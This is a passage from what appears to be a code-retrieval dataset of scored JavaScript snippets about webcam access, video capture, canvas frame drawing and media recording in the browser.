canvasHeight,\n\t\t\t\t\t bytesPerRow: canvasWidth * 4,\n\t\t\t\t\t bytesPerPixel: 4\n\t\t\t\t\t},\n\t\t\t\t\tbuffer: imageData\n\t\t\t\t}];\n\n\t\t\tvar pixelFormat = XRVideoFrame.IMAGEFORMAT_RGBA32;\n\n\t\t\tvar timestamp = frame.timestamp; \n\t\t\t\n\t\t\t// set from frame\n\t\t\tvar view = frame.views[0];\n\n\t\t\t//this._videoViewMatrix.set(view.viewMatrix);\n\t\t\tMatrixMath.mat4_invert(this._videoViewMatrix, view.viewMatrix)\n\t\t\t\n\t\t\tthis._videoProjectionMatrix.set(view.projectionMatrix)\n\t\t\t\n\t\t\tvar camera = {\n\t\t\t\tarCamera: false,\n\t\t\t\tcameraOrientation: 0,\n\t\t\t\tcameraIntrinsics: this._cameraIntrinsics.slice(0),\n\t\t\t\t// cameraIntrinsics: [(this._videoEl.videoWidth/2) / Math.tan(view._fov.leftDegrees * Math.PI/180), 0, (this._videoEl.videoWidth/2), \n\t\t\t\t// \t\t\t\t\t0, (this._videoEl.videoHeight/2) / Math.tan(view._fov.upDegrees * Math.PI/180), (this._videoEl.videoHeight/2), \n\t\t\t\t// \t\t\t\t\t0, 0, 1],\n\t\t\t\tcameraImageResolution: {\n\t\t\t\t\t\twidth: this._videoEl.videoWidth,\n\t\t\t\t\t\theight: this._videoEl.videoHeight\n\t\t\t\t\t},\t\t\t\t \n\t\t\t\tviewMatrix: this._videoViewMatrix,\n\t\t\t\tprojectionMatrix: this._videoProjectionMatrix\n\t\t\t}\n\t\t\t//debugger;\n\n\t\t\tvar xrVideoFrame = new XRVideoFrame(buffers, pixelFormat, timestamp, camera )\n\n\t\t\ttry {\n\t\t\t\tthis.dispatchEvent(\n\t\t\t\t\tnew CustomEvent(\n\t\t\t\t\t\tReality.COMPUTER_VISION_DATA,\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsource: this,\n\t\t\t\t\t\t\tdetail: xrVideoFrame\n\t\t\t\t\t\t}\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t} catch(e) {\n\t\t\t\tconsole.error('COMPUTER_VISION_DATA event error', e)\n\t\t\t}\n\t\t}\n\t\t// TODO update the anchor positions using ARCore or ARKit\n\t}", "title": "" }, { "docid": "bc57c30a023d83deff9d4b8c1c3a1069", "score": "0.593045", "text": "function initialize() {\n webcamElement = document.getElementById('webcam');\n canvasElement = document.getElementById('canvas');\n webcam = new Webcam(webcamElement, 'user', canvasElement);\n snapButtonElement = document.getElementById('capture');\n startButtonElement = document.getElementById('retake');\n}", "title": "" }, { "docid": "021a223dc900c5f59c4dc0a598dd847c", "score": "0.5901861", "text": "drawScreen () {\n if(this.video1.canplaythrough && this.video2.canplaythrough) {\n this.context.putImageData(this.video1.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.putImageData(this.video2.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.drawImage(this.video2.canvas, 0, 0);\n this.context.drawImage(this.video1.canvas, 0, 0);\n // let frame1 = this.video2.context.getImageData(0,0, 320, 180);\n // this.context.putImageData(frame1, 0, 0);\n }\n }", "title": "" }, { "docid": "b3f166b4fd0b56d172483ce474694ff3", "score": "0.5892211", "text": "function video() {\n\t\t$('#wrapper').fitVids();\n\t}", "title": "" }, { "docid": "7444e55cb2c4465f59b986951f4f5ceb", "score": "0.5871526", "text": "function capturePic(){\n cameraSensor.width = cameraView.videoWidth;\n cameraSensor.height = cameraView.videoHeight;\n cameraSensor.getContext(\"2d\").drawImage(cameraView, 0, 0);\n picPreview.src = cameraSensor.toDataURL(\"image/webp\");\n picPreview.classList.add(\"picPreview\");\n}", "title": "" }, { "docid": "9635f75e54296efb4b95dbfa7edea858", "score": "0.58689106", "text": "function initVideo() {\n log_d(\"Initializing the video subsystem\");\n\n var setVideoDev = function (devs) {\n log_d(\"Got video capture devices: \" + JSON.stringify(devs));\n var dev = '';\n $.each(devs, function (k, v) {\n dev = k;\n $('#webcamsSelect').append($('<option value=\"' + k + '\">' + v + '</option> '));\n });\n if (dev) {\n log_d(\"Using video capture device: \" + JSON.stringify(devs[dev]));\n window.configuredDevice = dev;\n service.setVideoCaptureDevice(CDO.createResponder(startLocalPreview), dev);\n } else {\n log_e(\"None video capture devices installed.\");\n }\n };\n log_d(\"Getting video capture devices\");\n service.getVideoCaptureDeviceNames(CDO.createResponder(setVideoDev));\n\n}", "title": "" }, { "docid": "e2125c772ac5ff4104c92f8fe57cece7", "score": "0.5864177", "text": "function initializeComplete() {\n initialized = true;\n logMessage('Device Initialized');\n\n document.getElementById(\"btnStartDevice\").textContent = \"Stop Device\";\n setVideoCaptureDeviceList();\n setAudioCaptureDeviceList();\n\n // Enclosure Info\n var enclosureLocation = webcamList[0].enclosureLocation;\n if (enclosureLocation) {\n if (enclosureLocation.panel === Windows.Devices.Enumeration.Panel.back) {\n logMessage(\"Rear Facing (away from user) Camera Initialized\");\n rotateVideoOnOrientationChange = true;\n reverseVideoRotation = false;\n } else if (enclosureLocation.panel === Windows.Devices.Enumeration.Panel.front) {\n logMessage(\"Front Facing (towards user) Camera Initialized\");\n rotateVideoOnOrientationChange = true;\n reverseVideoRotation = true;\n } else {\n rotateVideoOnOrientationChange = false;\n }\n }\n else {\n logMessage(\"No PLD location info present for this webcam\");\n rotateVideoOnOrientationChange = false;\n }\n\n // Photo Capture Source\n var photoSource = mediaCaptureMgr.mediaCaptureSettings.photoCaptureSource;\n if (photoSource === Capture.PhotoCaptureSource.videoPreview) {\n logMessage(\"Photo Capture Source is the VideoPreview Stream\");\n } else if (photoSource === Capture.PhotoCaptureSource.photo) {\n logMessage(\"Photo Capture Source is the Photo Stream\");\n } else if (photoSource === Capture.PhotoCaptureSource.auto) {\n logMessage(\"Photo Capture Source is Auto (Error)\");\n } else {\n logMessage(\"***Something very wrong happened. Check the Photo Capture Source***\");\n }\n // Start Preview\n startPreview();\n vpsController = mediaCaptureMgr.videoDeviceController.variablePhotoSequenceController;\n var selFrames = document.getElementById(\"lstFrames\");\n var j = 0;\n for(j = 0;j<selFrames.options.length;j++){\n selFrames.options[j] = null;\n }\n \n if (!vpsController.supported) {\n document.getElementById(\"btnVPS\").disabled = true;\n document.getElementById(\"lstFrames\").disabled = true;\n document.getElementById(\"btnVPSAddFrame\").disabled = true;\n document.getElementById(\"btnVPSRemoveFrame\").disabled = true;\n } else {\n\n document.getElementById(\"lstFrames\").disabled = false;\n document.getElementById(\"btnVPSAddFrame\").disabled = false;\n document.getElementById(\"btnVPSRemoveFrame\").disabled = false;\n }\n document.getElementById(\"btnPreview\").disabled = false;\n rotWidth = previewTag.width;\n rotHeight = previewTag.height;\n setupVPSDeviceControls();\n}", "title": "" }, { "docid": "29c6e202babb497d193c6fface4db979", "score": "0.58613604", "text": "function grabFrame() {\n imageCapture.grabFrame().then(function(imageBitmap) {\n console.log('Grabbed frame:', imageBitmap);\n canvas.width = imageBitmap.width;\n canvas.height = imageBitmap.height;\n canvas.getContext('2d').drawImage(imageBitmap, 0, 0);\n canvas.classList.remove('hidden');\n\t$('i#iconcancel').show();\n\t$('div#camera').hide();\n\t$('div#fotoresultaat').show();\n\tdocument.getElementById(\"result-label\").innerHTML = \"Tip: make sure your background is clean, and keep your face as straight as possible. Press 'Analyze Face' to continue, or take a new photo.\";\n\t$('a#grabFrame').hide();\n\t$('a#grabFrameDisabled').show();\n\t$('select#videoSource').hide();\n\t$('a#videoSourceDisabled').show();\n\t$('a#analyze-buttonDisabled').hide();\n\t$('a#analyze-button').show();\n dataURL = canvas.toDataURL(imageBitmap);\n\tvar audio = new Audio(sound1);\n\taudio.loop = false;\n\taudio.play();\n }).catch(function(error) {\n console.log('grabFrame() error: ', error);\n });\n}", "title": "" }, { "docid": "deb14c3adab536e852ca5b04b8f62891", "score": "0.5851194", "text": "function initVideoData() {\n initCurrentSrc();\n initDuration();\n initVideoFrames();\n initReadyState();\n initNetworkState();\n initTextTracks();\n}", "title": "" }, { "docid": "ef2ef8d487e56a6d1f0caef2c8965ac4", "score": "0.58355093", "text": "function transformTestVideoStart(normRep, blackboard) {\n var raw = normRep.raw;\n blackboard.videoPath = raw.videoPath;\n blackboard.videoStartTS = raw.startTS;\n blackboard.videoDimensions = {\n width: raw.width,\n height: raw.height\n };\n // leave the normRep displaying this as unknown; we don't need a special type.\n}", "title": "" }, { "docid": "098caf5acb81b1439126708439fea4d1", "score": "0.5827043", "text": "function initVideo(){\n\t\t//fit all videos in their parent container\n\t\tjQuery(\".scalevid\").fitVids();\n\t}", "title": "" }, { "docid": "7cf73aaa5157eafda8079e158f0ebcef", "score": "0.5801134", "text": "function prepPage() {\n\t\n\t//get elem references\n\toptionsElem = document.getElementById(\"options-elem\");\n\tintroElem = document.getElementById(\"intro-elem\");\n\tdropArea = document.getElementById(\"drop-area\");\n\tpreviewArea = document.getElementById(\"preview-area\");\n\tvideoArea = document.getElementById(\"video-area\");\n\tcanvasArea = document.getElementById(\"three-canvas-container\");\n\t\n\t//get canvas references\n\tcanvasPreview = document.getElementById(\"canvas-preview\");\n\t//get context references\n\tcanvasPreviewContext = canvasPreview.getContext(\"2d\");\n\t//canvasWebGlContext = canvasWebGL.getContext(\"webgl\");\n\t\n\t\n\t//get option references\n\tinputRangeDepth = document.getElementById(\"input-range-depth\");\n\tinputRangeZoom = document.getElementById(\"input-range-zoom\");\n\t\n\tinvertOn = document.getElementById(\"invert-on\");\n\tinvertOff = document.getElementById(\"invert-off\");\n\n\tbgWhite = document.getElementById(\"bg-white\");\n\tbgBlack = document.getElementById(\"bg-black\");\n\t\n\torientationOn = document.getElementById(\"orientation-on\");\n\torientationOff = document.getElementById(\"orientation-off\");\n\t\n\tvideoArea.width = sampleWidth;\n\tvideoArea.height = sampleHeight;\n\t\n}", "title": "" }, { "docid": "df01172e4c87a75aaff700738263829c", "score": "0.5793301", "text": "function takeASnapShot(){\n\t\twindow.webcam.capture(3);\n\t}", "title": "" }, { "docid": "5e1bafea384c23770ce44f0eaae26578", "score": "0.5786838", "text": "function initialize() {\n // will create HTML5 video element in staging area if not present\n getDOMVideo();\n isInitialized = true;\n }", "title": "" }, { "docid": "8a8b3851e7f02735fd87238220285a06", "score": "0.57848364", "text": "function initCam(cont) {\n /* Inicializo vista */\n document.getElementById(\"vista\").style.display = \"none\";\n document.getElementById(\"title-bar\").innerHTML = \"Un Chequeo Antes de Empezar\";\n video.style.display = \"block\";\n document.getElementById(\"captura\").style.display = \"flex\";\n /* Inicio camara */\n navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n height: { max: 480 }\n }\n })\n .then(stream => {\n console.log(stream);\n cont.srcObject = stream;\n cont.play();\n \n recorder = RecordRTC(stream, {\n type: 'gif',\n frameRate: 170,\n quality: 10,\n width: 360,\n hidden: 240,\n onGifRecordingStarted: function() {\n console.log('started')\n },\n });\n recorder.camera = stream;\n /* Eventos para botones de captura */\n document.getElementById(\"btn-captura\").addEventListener(\"click\", startRec);\n document.getElementById(\"btn-stop\").addEventListener(\"click\", stopRec);\n })\n .catch(err => {\n console.log(\"Error Media: \" + err);\n });\n}", "title": "" }, { "docid": "81a3d7e4fbef1b269a4fe6f03ee2611a", "score": "0.578405", "text": "async function populateVideo() {\n // We grab the feed off the user's webcam\n const stream = await navigator.mediaDevices.getUserMedia({\n video: { width: 1280, height: 720 },\n });\n\n // We set the object to be the stream\n video.srcObject = stream; // usually when dealing with video files we use video.src = 'videoName.mp4'\n await video.play();\n\n // size the canvases to be the same size as the video\n console.log(video.videoWidth, video.videoHeight);\n\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n\n faceCanvas.width = video.videoWidth;\n faceCanvas.height = video.videoHeight;\n}", "title": "" }, { "docid": "d30f47f65a58ba2a279295230e8b9488", "score": "0.5775164", "text": "function takeSnapshot() {\n\n // use MediaDevices API\n // docs: https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia\n\n video.style.display = \"inline\";\n let context;\n let width = video.offsetWidth,\n height = video.offsetHeight;\n\n canvas = canvas || document.createElement('canvas');\n canvas.width = width;\n canvas.height = height;\n\n context = canvas.getContext('2d');\n context.drawImage(video, 0, 0, width, height);\n\n recognizeImage(canvas.toDataURL('image/png'));\n }", "title": "" }, { "docid": "3abfddf01e09f7c744b6a8a29e9f9a73", "score": "0.5768409", "text": "function snap() {\n\n context.fillRect(0, 0, w, h);\n // Grab the image from the video\n context.drawImage(vid, 0, 0, w, h);\n canvas = $(canvas);\n applyVisualEffects(canvas);\n \n }", "title": "" }, { "docid": "f00e4ad5ce787bf4727fdc3cc6b46d6f", "score": "0.57582", "text": "function startStream() {\r\n\r\n if (navigator.platform == \"iPhone\" || navigator.platform == \"Linux armv8l\") {\r\n vid = createCapture(VIDEO, constraints)\r\n } else {\r\n\r\n vid = createCapture(VIDEO);\r\n }\r\n\r\n vid.position(0, 0)\r\n button.remove()\r\n select(\"#accept\").remove()\r\n\r\n classifyVideo()\r\n\r\n}", "title": "" }, { "docid": "eab0faedf71e709dc38765582b003757", "score": "0.5749118", "text": "_capture() {\n\n // prevent from streaming errors\n try {\n\n // capture the media stream\n navigator.mediaDevices.getUserMedia({\n audio: this._props.sound,\n video: (() => {\n if (this._props.camera === false) {\n return false;\n }\n\n return {\n frameRate: this._props.framerate,\n aspectRatio: this._props.ratio,\n facingMode: this._props.mode === 'front' ? 'user' : 'environment'\n };\n })()\n }).then((stream) => {\n\n // store the blob stream\n this._stream = stream;\n\n // capture the blob stream\n this._media.srcObject = stream;\n\n // set the volume at start\n this.volume = this._props.volume;\n\n // animation loop used to properly render the viewport\n const loop = () => {\n\n // render the viewport with or without custom filter\n if (typeof this._props.filter !== 'function') {\n this.viewport.getContext('2d').drawImage(this._media, 0, 0, this._props.width, this._props.height);\n } else {\n\n // use a buffer when applying a custom filter to prevent the viewport from blinking or flashing\n if (typeof this._buffer === 'undefined') {\n this._buffer = document.createElement('canvas');\n this._buffer.style.display = 'none';\n this._buffer.width = this._props.width;\n this._buffer.height = this._props.height;\n this.viewport.parentNode.insertBefore(this._buffer, this.viewport.nextSibling);\n }\n\n this._buffer.getContext('2d').drawImage(this._media, 0, 0, this._props.width, this._props.height);\n this.viewport.getContext('2d').putImageData(this._filter(this._buffer.getContext('2d').getImageData(0, 0, this._props.width, this._props.height)), 0, 0);\n }\n\n // make this function run at 60fps\n requestAnimationFrame(loop);\n };\n\n // render the first frame\n requestAnimationFrame(loop);\n\n if (typeof this._props.done === 'function') {\n this._props.done();\n }\n }).catch((exception) => {\n if (typeof this._props.fail === 'function') {\n this._props.fail(exception);\n }\n });\n } catch(exception) {\n if (typeof this._props.fail === 'function') {\n this._props.fail(exception);\n }\n }\n }", "title": "" }, { "docid": "17e581a5f7204b9efef233ca75516479", "score": "0.5739195", "text": "function takeVideoStream() {\n\tcleanElements(); // CLean all the elements\n\t\n\t// Create the start, stop and video elements for the video stream\n\tvar videoStreamElement = document.getElementById(\"videoStreamElement\");\n\tvideoStreamElement.innerHTML = '<br><button class=\"btn btn-dark\" id=\"startStream\">Start recording</button><br>';\n\tvideoStreamElement.innerHTML += '<button class=\"btn btn-dark\" id=\"stopStream\">Stop recording</button><br>';\n\tvideoStreamElement.innerHTML += '<br><br><video></video>';\n\tvideoStreamElement.innerHTML += '<br><br><video id=\"capturedVideoStream\" controls></video>';\n\n\tvar start = document.getElementById(\"startStream\");\n\tvar stop = document.getElementById(\"stopStream\");\n\tvar capturedVideoStream = document.getElementById(\"capturedVideoStream\");\n\tcapturedVideoStream.style.visibility = \"hidden\"; // Hide the second video element (the captured video element)\n\n\n\t// The constraints for the media\n\tlet constraint = {\n\t\taudio: false,\n\t\tvideo: { facingMode: \"user\" }\n\t}\n\n\t// Handle old browsers that do not support the medie capture API\n\tif (navigator.mediaDevices == undefined) {\n\t\t/*navigator.mediaDevices = {};\n\t\tnavigator.mediaDevices.getUserMedia = function(constraintObj) {\n\t\t\tlet getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;\n\t\t\tif (!getUserMedia) {\n\t\t\t\treturn Promise.reject(new Error('getUserMedia is not implemented in this browser'));\n\t\t\t}\n\t\t\treturn new Promise(function(resolve, reject) {\n\t\t\t\tgetUserMedia.call(navigator, constraintObj, resolve, reject);\n\t\t\t});\n\t\t}*/\n\t} else { // List all the devices ... this is where we can implement the select video capture device\n\t\tnavigator.mediaDevices.enumerateDevices().then(devices => {\n\t\t\tdevices.forEach(device => {\n\t\t\t\tconsole.log(device.kind.toUpperCase(), device.label);\n\t\t\t});\n\t\t}).catch( error => {\n\t\t\tconsole.log(error.name, error.message);\n\t\t});\n\t}\n\n\tnavigator.mediaDevices.getUserMedia(constraint).then(stream => {\n\t\t// Connect the video stream to the the video element\n\t\tlet video = document.querySelector('video');\n\t\tif (\"srcObject\" in video)\n\t\t\tvideo.srcObject = stream; // send the stream to the video element\n\t\telse\n\t\t\tvideo.src = window.URL.createObjectURL(stream); //For old browers\n\n\t\tvideo.onloadedmetadata = function(ev) {\n\t\t\tvideo.play(); // Display the video stream in the video element.\n\t\t}\n\n\t\t//store the blobs of the video stream\n\t\tlet mediaRecorder = new MediaRecorder(stream);\n\t\tlet recordedBlobs = [];\n\n\t\t// Start recording\n\t\tstart.addEventListener('click', (ev) => {\n\t\t\tmediaRecorder.start();\n\t\t\tconsole.log(mediaRecorder.state);\n\t\t\tcapturedVideoStream.style.visibility = \"hidden\"; // Hide the second video element (the captured video element)\n\t\t});\n\n\t\t// Stop recording\n\t\tstop.addEventListener('click', (ev)=> {\n\t\t\tmediaRecorder.stop();\n\t\t\tconsole.log(mediaRecorder.state);\n\t\t});\n\n\t\t// Record all of the blobs\n\t\tmediaRecorder.ondataavailable = function(ev) {\n\t\t\trecordedBlobs.push(ev.data);\n\t\t};\n\n\t\t// When the stop recoding button is clicked\n\t\tmediaRecorder.onstop = (ev)=> {\n\t\t\tlet blob = new Blob(recordedBlobs, { 'type': 'video/mp4;'});\n\n\t\t\trecordedBlobs = [];\n\t\t\tlet videoURL = window.URL.createObjectURL(blob);\n\n\t\t\tcapturedVideoStream.style.visibility = \"visible\"; // Make the captured video element visiable\n\t\t\tcapturedVideoStream.src = videoURL;\n\n\t\t\tsubmitVideo(blob, true); // Submit the video\n\t\t};\n\t}).catch(error => {\n\t\tconsole.log(error.name, error.message);\n\t});\n}", "title": "" }, { "docid": "70c718cb10e1dd410ae64935616c8547", "score": "0.5732286", "text": "function importWebcamStream() {\n let constraints = {\n video: {\n mandatory: {\n minWidth: width,\n minHeight: height,\n },\n optional: [{ maxFrameRate: 24 }],\n },\n audio: true,\n };\n createCapture(constraints, function (stream) {\n console.log(stream);\n });\n}", "title": "" }, { "docid": "c07f78362fe4fc87cfe99ff8d9989801", "score": "0.5729253", "text": "async function setupWebcam() {\n if (navigator.mediaDevices.getUserMedia) {\n const stream = await navigator.mediaDevices.getUserMedia({\n \"audio\": false,\n \"video\": {\n width: {\n min: 640,\n max: 640\n },\n height: {\n min: 480,\n max: 480\n }\n }\n });\n\n webcam.srcObject = stream;\n\n return new Promise((resolve) => {\n webcam.onloadedmetadata = () => {\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\n\n canvasDims = [canvas.height, canvas.width];\n\n resolve(webcam);\n };\n });\n }\n}", "title": "" }, { "docid": "ed3f4ebba282f2e200cb3510ddf53c59", "score": "0.57242393", "text": "function configure() {\n Webcam.set({\n width: 320,\n height: 240,\n image_format: 'jpeg',\n jpeg_quality: 90\n });\n Webcam.attach('#my_camera');\n }", "title": "" }, { "docid": "a9870a016e4b455a60efcc71b6307237", "score": "0.5708431", "text": "function initialize(){\n\tvar videofileformat = document.getElementById(\"videofileformat\");\n\tif (!MediaRecorder) {\n\t\talert('Your web browser does not appear to support \"MediaRecorder\". You will be unable to record without it and this web page will most likely not load properly. Please try using Chrome/Chromium version 53 and higher or Firefox version 48 and higher.');\t\n\t}\n\tif (MediaRecorder.isTypeSupported(\"video/webm\")) {\n\t\tvar option1 = document.createElement('option');\n\t\toption1.appendChild( document.createTextNode(\"WebM\") );\n\t\toption1.value = \"video/webm\";\n\t\tvideofileformat.appendChild(option1); \n\t}\n\tif (MediaRecorder.isTypeSupported(\"video/webm;codecs=vp9\")) {\n\t\tvar option2 = document.createElement('option');\n\t\toption2.appendChild( document.createTextNode(\"WebM VP9\") );\n\t\toption2.value = \"video/webm; codecs=vp9\";\n\t\tvideofileformat.appendChild(option2); \n\t}\n\tif (MediaRecorder.isTypeSupported(\"video/webm;codecs=vp8\")) {\n\t\tvar option3 = document.createElement('option');\n\t\toption3.appendChild( document.createTextNode(\"WebM VP8\") );\n\t\toption3.value = \"video/webm; codecs=vp8\";\n\t\tvideofileformat.appendChild(option3); \n\t}\n\tif (MediaRecorder.isTypeSupported(\"video/webm;codecs=h264\")) {\n\t\tvar option4 = document.createElement('option');\n\t\toption4.appendChild( document.createTextNode(\"WebM H264\") );\n\t\toption4.value = \"video/webm; codecs=h264\";\n\t\tvideofileformat.appendChild(option4); \n\t}\n\tif (MediaRecorder.isTypeSupported(\"video/webm;codecs=avc1\")) {\n\t\tvar option5 = document.createElement('option');\n\t\toption5.appendChild( document.createTextNode(\"WebM AVC1\") );\n\t\toption5.value = \"video/webm; codecs=avc1\";\n\t\tvideofileformat.appendChild(option5); \n\t}\n\t/*if (MediaRecorder.isTypeSupported(\"video/x-matroska;codecs=avc1\")) {\n\t\tvar option6 = document.createElement('option');\n\t\toption6.appendChild( document.createTextNode(\"X-Matroska AVC1\") );\n\t\toption6.value = \"video/x-matroska; codecs=avc1\";\n\t\tvideofileformat.appendChild(option6); \n\t}*/\n\tif (!videofileformat.value) {\n\t\talert('Your web browser does not appear to support any video formats for recording or does not support \"MediaRecorder\" altogether. You will be unable to record without it. Please try using Chrome/Chromium version 53 and higher or Firefox version 48 and higher.');\t\n\t}\n\n\thideunusedoptions();\n}", "title": "" }, { "docid": "cdd44a06019ebfd99191a55c32dd4ee0", "score": "0.5702522", "text": "function startVideo(){\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n canvas.getContext('2d').\n drawImage(video, 0, 0, canvas.width, canvas.height);\n $scope.sendPicture();\n}", "title": "" }, { "docid": "aeb85d5440d93df0ca9989175cb35ea0", "score": "0.5700712", "text": "function paintToCanvas() { //to display webcame live in a specified canvas with videos actual height and width\n\n const width = video.videoWidth; //getting actual height and width of video\n const height = video.videoHeight;\n canvas.width = width; //setting the canvas width and height accordingly \n canvas.height = height;\n return setInterval(() => { //by setintertval method we are drawing the recieved video's image in after every 16milli sec \n ctx.drawImage(video, 0, 0, width, height); //here we are drawing the image recieved in canvas\n let pixels = ctx.getImageData(0, 0, width, height) //here we are getting the canvas image to make some effect\n // console.log(pixels)\n // debugger;\n // pixels = redeffect(pixels) //here redeffect is called\n // console.log(hola);\n pixels = rgbsplit(pixels) // we are calling rgb split to make some changes in the pixels thats is the image we get from canvas\n ctx.globalAlpha=0.8; \n // pixels = greenscreen(pixels)\n ctx.putImageData(pixels, 0, 0); //after we get the changed pixels we put it back in the canvas\n }, 16);\n}", "title": "" }, { "docid": "0e4d1cc75b2956af4a096dde9ed8794b", "score": "0.56988144", "text": "function fillVideoPlaceholders() {\n d3.selectAll(\".video-placeholder\")\n .each(function() {\n var container = d3.select(this);\n var srcBase = container.attr(\"data-src\");\n var dataRes = container.attr(\"data-res\");\n var propLoop = this.hasAttribute(\"data-loop\");\n var resStr = pickResolution(dataRes);\n \n console.log(\"Selecting video of size \" + resStr);\n \n // Create video element\n var videoEl = container.append(\"video\")\n .attr(\"preload\", \"auto\")\n .property(\"loop\", propLoop)\n .property(\"controls\", true)\n .attr(\"poster\", srcBase + \".jpg\")\n .attr(\"data-appear-top-offset\", \"250px\");\n \n // Only load video sources when the user scrolls down to the video\n var loaded = false;\n $(this).appear();\n \n $(this).on(\"appear\", function() {\n if (loaded) { return; }\n loaded = true;\n \n console.log(\"Loading \" + srcBase);\n \n videoEl.append(\"source\")\n .attr(\"src\", srcBase + \"_\" + resStr + \".webm\")\n .attr(\"type\", 'video/webm; codecs=\"vp8\"');\n videoEl.append(\"source\")\n .attr(\"src\", srcBase + \"_\" + resStr + \".ogv\")\n .attr(\"type\", 'video/ogg; codecs=\"theora\"');\n videoEl.append(\"source\")\n .attr(\"src\", srcBase + \"_\" + resStr + \".mp4\")\n .attr(\"type\", 'video/mp4; codecs=\"avc1.42E01E\"');\n videoEl.append(\"p\")\n .text(\"Upgrade to a modern browser to see video.\");\n \n //videojs(videoEl[0][0], {}, function() { console.log(\"Loaded \" + srcBase); } );\n });\n });\n }", "title": "" }, { "docid": "97639953478c68e4f0fc64075eb9788b", "score": "0.5689894", "text": "function drawVedio() {\n setTimeout(() => {\n canvas.getContext(\"2d\").drawImage(video, 0, 0, 100, 100);\n drawVedio();\n }, 0);\n }", "title": "" }, { "docid": "6b09933c7509a191cc1d860ac045bb84", "score": "0.56851023", "text": "function takeSnap() {\n\n // get video element\n var vid = document.querySelector('video');\n // get canvas element\n var canvas = document.querySelector('canvas');\n // get its context\n var ctx = canvas.getContext('2d');\n // set its size to the one of the video\n canvas.width = vid.videoWidth;\n canvas.height = vid.videoHeight;\n // show snapshot on canvas\n ctx.drawImage(vid, 0, 0);\n // show spinner image below\n document.querySelector('#spinner').classList.remove('hidden');\n return new Promise((res, rej) => {\n // request a Blob from the canvas\n canvas.toBlob(res, 'image/jpeg');\n });\n}", "title": "" }, { "docid": "04aa67bfd535a0aeee891b764f887155", "score": "0.56828314", "text": "function startVideo(){\n //gets the webcam, takes object as the first param, video is key, empty object as param\n navigator.getUserMedia(\n {video: {}},\n //whats coming from our webcam, setting it as source\n stream =>video.srcObject = stream,\n err => console.log(err))\n}", "title": "" }, { "docid": "ef73b08713671c917a93f8ee51d218db", "score": "0.56815815", "text": "function createPreview() {\n\n // Create fullscreen preview\n var capturePreviewFrameStyle = document.createElement(\"link\");\n capturePreviewFrameStyle.rel = \"stylesheet\";\n capturePreviewFrameStyle.type = \"text/css\";\n capturePreviewFrameStyle.href = urlutil.makeAbsolute(\"/www/css/plugin-document-scanner.css\");\n\n document.head.appendChild(capturePreviewFrameStyle);\n\n capturePreviewFrame = document.createElement(\"div\");\n capturePreviewFrame.className = \"document-scanner-ui-wrap\";\n\n capturePreview = document.createElement(\"video\");\n capturePreview.className = \"document-scanner-ui-preview\";\n\n if (getDontClip()) {\n capturePreview.addEventListener(\"click\", clickPreview, false);\n } else {\n captureCanvas = document.createElement(\"canvas\");\n captureCanvas.className = \"document-scanner-ui-canvas\";\n captureCanvas.addEventListener(\"click\", clickPreview, false);\n }\n\n navigationButtonsDiv = document.createElement(\"div\");\n navigationButtonsDiv.className = \"document-scanner-ui-app-bar\";\n navigationButtonsDiv.onclick = function (e) {\n e.cancelBubble = true;\n };\n if (!WinJS.Utilities.isPhone) {\n closeButton = document.createElement(\"span\");\n closeButton.className = \"document-scanner-app-bar-action document-scanner-action-close\";\n navigationButtonsDiv.appendChild(closeButton);\n }\n var appBarText = getAppBarText();\n if (appBarText) {\n var actionText = document.createElement(\"span\");\n actionText.className = \"document-scanner-app-bar-action document-scanner-action-text\";\n actionText.innerHTML = appBarText;\n navigationButtonsDiv.appendChild(actionText);\n }\n photoButtonBkg = document.createElement(\"span\");\n photoButtonBkg.className = \"document-scanner-app-bar-action-bkg document-scanner-action-bkg\";\n navigationButtonsDiv.appendChild(photoButtonBkg);\n\n photoButton = document.createElement(\"span\");\n photoButton.className = \"document-scanner-app-bar-action document-scanner-action-photo\";\n photoButton.addEventListener(\"click\", capturePhoto, false);\n photoButton.addEventListener(\"mouseover\", photoActionHot, false);\n photoButton.addEventListener(\"mouseout\", photoActionNormal, false);\n navigationButtonsDiv.appendChild(photoButton);\n\n //settingsButton = document.createElement(\"span\");\n //settingsButton.className = \"document-scanner-app-bar-action document-scanner-action-settings\";\n //navigationButtonsDiv.appendChild(settingsButton);\n\n CameraUI.captureCancelled = false;\n if (closeButton) {\n closeButton.addEventListener(\"click\", cancelPreview, false);\n }\n\n if (getAutoShutter()) {\n cancelPromise = WinJS.Promise.timeout(60000).then(cancelPreview);\n if (photoButton && photoButton.style) {\n photoButton.style.display = \"none\";\n }\n if (photoButtonBkg && photoButtonBkg.style) {\n photoButtonBkg.style.display = \"none\";\n }\n }\n capturePreviewFrame.appendChild(capturePreview);\n if (!getDontClip()) {\n capturePreviewFrame.appendChild(captureCanvas);\n }\n capturePreviewFrame.appendChild(navigationButtonsDiv);\n\n window.addEventListener(\"resize\", resizePreview, false);\n window.addEventListener(\"focus\", continueVideoOnFocus, false);\n\n document.addEventListener(\"backbutton\", cancelPreview, false);\n }", "title": "" }, { "docid": "32ccc2c859e4a2b77479fcd99158ebde", "score": "0.567327", "text": "async function setupCamera() {\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available');\n }\n\n const video = document.getElementById('webcam-video');\n video.width = videoWidth;\n video.height = videoHeight;\n\n // const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: videoWidth,\n height: videoHeight,\n },\n });\n video.srcObject = stream;\n\n return new Promise((resolve) => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n}", "title": "" }, { "docid": "4114eb949b4f09741d94b15cb1ba70fa", "score": "0.5662358", "text": "function addVideoTracking1() {\n // Add in the video files.\n // These are 3 different codecs due to different browser specifications ; we recommend you have all 3 filetypes.\n var srcNode = 